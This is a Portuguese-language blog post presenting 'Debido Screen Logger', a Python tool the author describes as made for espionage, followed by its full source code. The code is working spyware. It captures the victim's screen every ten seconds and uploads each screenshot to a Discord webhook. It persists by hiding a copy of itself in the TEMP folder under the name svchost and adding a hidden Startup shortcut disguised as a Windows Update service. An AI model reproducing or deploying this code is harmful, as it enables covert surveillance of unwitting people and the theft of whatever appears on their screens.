DEBIDO SCREEN LOGGER
Neste post apresento uma ferramenta em Python desenvolvida espionagem Este simples screen logger possui tecnica Mitre para persistencia.
Estrutura do projeto
Debido-ScreenLogger/
└─ main.py
Código-fonte
main.py
import mss
import mss.tools
import time
import os
import sys
import requests
import shutil
import win32com.client
import win32api
import win32con
import subprocess
from datetime import datetime
import io
import traceback
import json
# 🔑 WEBHOOK DO DISCORD - ALTERE AQUI
WEBHOOK_URL = "WEBHOOK"
# Configurações
INTERVALO = 10 # segundos entre capturas
LOG_FILE = os.path.join(os.getenv('TEMP'), 'screenlogger_log.txt')
def carregar_contador():
"""Carrega o contador de prints enviados"""
try:
contador_file = os.path.join(os.getenv('TEMP'), 'screenshot_counter.json')
if os.path.exists(contador_file):
with open(contador_file, 'r') as f:
data = json.load(f)
return data.get('total', 0)
except:
pass
return 0
def salvar_contador(contador):
"""Salva o contador de prints enviados"""
try:
contador_file = os.path.join(os.getenv('TEMP'), 'screenshot_counter.json')
data = {
'total': contador,
'ultima_atualizacao': datetime.now().strftime('%Y-%m-%d %H:%M:%S')
}
with open(contador_file, 'w') as f:
json.dump(data, f)
except:
pass
def log_console(msg):
"""Mostra log no console e salva em arquivo"""
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(f"[{timestamp}] {msg}")
try:
with open(LOG_FILE, 'a', encoding='utf-8') as f:
f.write(f"[{timestamp}] {msg}\n")
except:
pass
def setup_persistencia():
"""Configura persistência com feedback visual"""
try:
script_atual = os.path.abspath(sys.argv[0])
temp_dir = os.getenv('TEMP')
# Verifica se já está na pasta TEMP
if os.path.dirname(script_atual) == temp_dir:
log_console("✅ Já está executando da pasta TEMP")
return
log_console(f"📁 Script atual: {script_atual}")
# Define nome do arquivo na TEMP
if getattr(sys, 'frozen', False):
nome_arquivo = "svchost.exe"
log_console("⚙️ Modo: EXECUTÁVEL COMPILADO")
else:
nome_arquivo = "svchost.py"
log_console("⚙️ Modo: SCRIPT PYTHON")
destino = os.path.join(temp_dir, nome_arquivo)
log_console(f"➡️ Destino: {destino}")
# Remove versão anterior
if os.path.exists(destino):
log_console("🔄 Removendo versão anterior...")
try:
os.system(f'taskkill /F /IM "{nome_arquivo}" 2>nul')
time.sleep(1)
if os.path.exists(destino):
os.remove(destino)
log_console("✅ Versão anterior removida")
except Exception as e:
log_console(f"⚠️ Erro ao remover: {str(e)}")
# Copia para TEMP
log_console("📋 Copiando para pasta TEMP...")
shutil.copy2(script_atual, destino)
log_console("✅ Arquivo copiado com sucesso")
# Oculta o arquivo
try:
win32api.SetFileAttributes(destino, win32con.FILE_ATTRIBUTE_HIDDEN)
log_console("✅ Arquivo ocultado")
except Exception as e:
log_console(f"⚠️ Erro ao ocultar: {str(e)}")
# Cria atalho na inicialização
log_console("🔗 Criando atalho na inicialização...")
startup_path = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup')
try:
if not os.path.exists(startup_path):
os.makedirs(startup_path, exist_ok=True)
shell = win32com.client.Dispatch("WScript.Shell")
atalho_path = os.path.join(startup_path, "WindowsUpdate.lnk")
atalho = shell.CreateShortCut(atalho_path)
atalho.TargetPath = destino
atalho.WindowStyle = 7 # Minimizado
atalho.Description = "Windows Update Service"
atalho.Save()
try:
win32api.SetFileAttributes(atalho_path, win32con.FILE_ATTRIBUTE_HIDDEN)
log_console("✅ Atalho criado e ocultado")
except:
log_console("⚠️ Atalho criado (não foi possível ocultar)")
except Exception as e:
log_console(f"❌ Erro ao criar atalho: {str(e)}")
log_console(traceback.format_exc())
# Executa a cópia
log_console("🚀 Iniciando nova instância...")
if getattr(sys, 'frozen', False):
subprocess.Popen([destino], creationflags=subprocess.CREATE_NO_WINDOW)
else:
subprocess.Popen([sys.executable, destino], creationflags=subprocess.CREATE_NO_WINDOW)
log_console("✅ Persistência configurada com sucesso")
log_console("🛑 Saindo da instância original...")
time.sleep(2)
sys.exit(0)
except Exception as e:
log_console(f"❌ ERRO NA PERSISTÊNCIA: {str(e)}")
log_console(traceback.format_exc())
def capturar_e_enviar(contador_total):
"""Captura tela e envia para Discord com status code - VERSÃO SIMPLIFICADA"""
try:
log_console("📸 Capturando tela...")
with mss.mss() as sct:
# Captura monitor primário
monitor = sct.monitors[1] # Monitor principal
img = sct.grab(monitor)
# Salva em arquivo temporário
temp_dir = os.getenv('TEMP')
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
temp_file = os.path.join(temp_dir, f"screen_{timestamp}.png")
mss.tools.to_png(img.rgb, img.size, output=temp_file)
if not os.path.exists(temp_file) or os.path.getsize(temp_file) == 0:
log_console("❌ Captura vazia, pulando...")
return contador_total, False
file_size = os.path.getsize(temp_file)
log_console(f"✅ Captura concluída ({file_size} bytes)")
# Incrementa o contador
novo_contador = contador_total + 1
# Envia para Discord - MÉTODO SIMPLES E FUNCIONAL
with open(temp_file, 'rb') as f:
# Método 1: Usando files com conteúdo embutido
files = {
'file': ('screenshot.png', f, 'image/png')
}
data = {
'content': f"🖥️ Captura de tela | Total: {novo_contador}"
}
log_console("📤 Enviando para Discord...")
response = requests.post(
WEBHOOK_URL,
data=data,
files=files,
timeout=30
)
# Remove arquivo temporário
try:
os.remove(temp_file)
except:
pass
# Verifica resposta
status_msg = f"📨 Status: {response.status_code}"
if response.status_code in (200, 204):
status_msg += " ✅ SUCESSO"
salvar_contador(novo_contador)
contador_total = novo_contador
else:
status_msg += " ❌ FALHA"
if response.text:
status_msg += f" - {response.text[:100]}"
log_console(status_msg)
return contador_total, (response.status_code in (200, 204))
except Exception as e:
log_console(f"❌ ERRO NA CAPTURA/ENVIO: {str(e)}")
log_console(traceback.format_exc())
return contador_total, False
# ===========================================================
# INÍCIO DA EXECUÇÃO
# ===========================================================
log_console("="*50)
log_console("🚀 INICIANDO SCREENLOGGER COM PERSISTÊNCIA")
log_console(f"PID: {os.getpid()}")
log_console(f"Caminho atual: {os.path.abspath(sys.argv[0])}")
# Carrega contador
contador_total = carregar_contador()
log_console(f"🔢 Contador atual: {contador_total}")
# Testa webhook inicialmente
log_console("="*50)
log_console("🔍 TESTANDO WEBHOOK...")
try:
test_payload = {"content": f"✅ Bot iniciado com sucesso! | {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} | Total anterior: {contador_total}"}
test_response = requests.post(
WEBHOOK_URL,
json=test_payload,
timeout=10
)
log_console(f"🧪 Status do teste: {test_response.status_code}")
if test_response.status_code in (200, 204):
log_console("✅ WEBHOOK FUNCIONANDO CORRETAMENTE!")
else:
log_console(f"❌ WEBHOOK FALHOU! Status: {test_response.status_code}")
if test_response.text:
log_console(f"Resposta: {test_response.text[:200]}")
except Exception as e:
log_console(f"❌ ERRO AO TESTAR WEBHOOK: {str(e)}")
# Configura persistência
log_console("="*50)
log_console("🔐 CONFIGURANDO PERSISTÊNCIA...")
setup_persistencia()
# Loop principal de captura
log_console("="*50)
log_console(f"⏱️ INICIANDO LOOP PRINCIPAL (capturas a cada {INTERVALO} segundos)")
log_console("Pressione CTRL+C para interromper")
while True:
try:
contador_total, sucesso = capturar_e_enviar(contador_total)
if sucesso:
log_console(f"✅ Ciclo completo! Total acumulado: {contador_total}")
# Pausa antes da próxima captura
log_console(f"⏳ Aguardando {INTERVALO} segundos...")
time.sleep(INTERVALO)
except KeyboardInterrupt:
log_console("⏹️ Interrompido pelo usuário")
break
except Exception as e:
log_console(f"❌ ERRO NO LOOP PRINCIPAL: {str(e)}")
log_console(traceback.format_exc())
time.sleep(INTERVALO)
log_console("="*50)
log_console("✅ EXECUÇÃO FINALIZADA")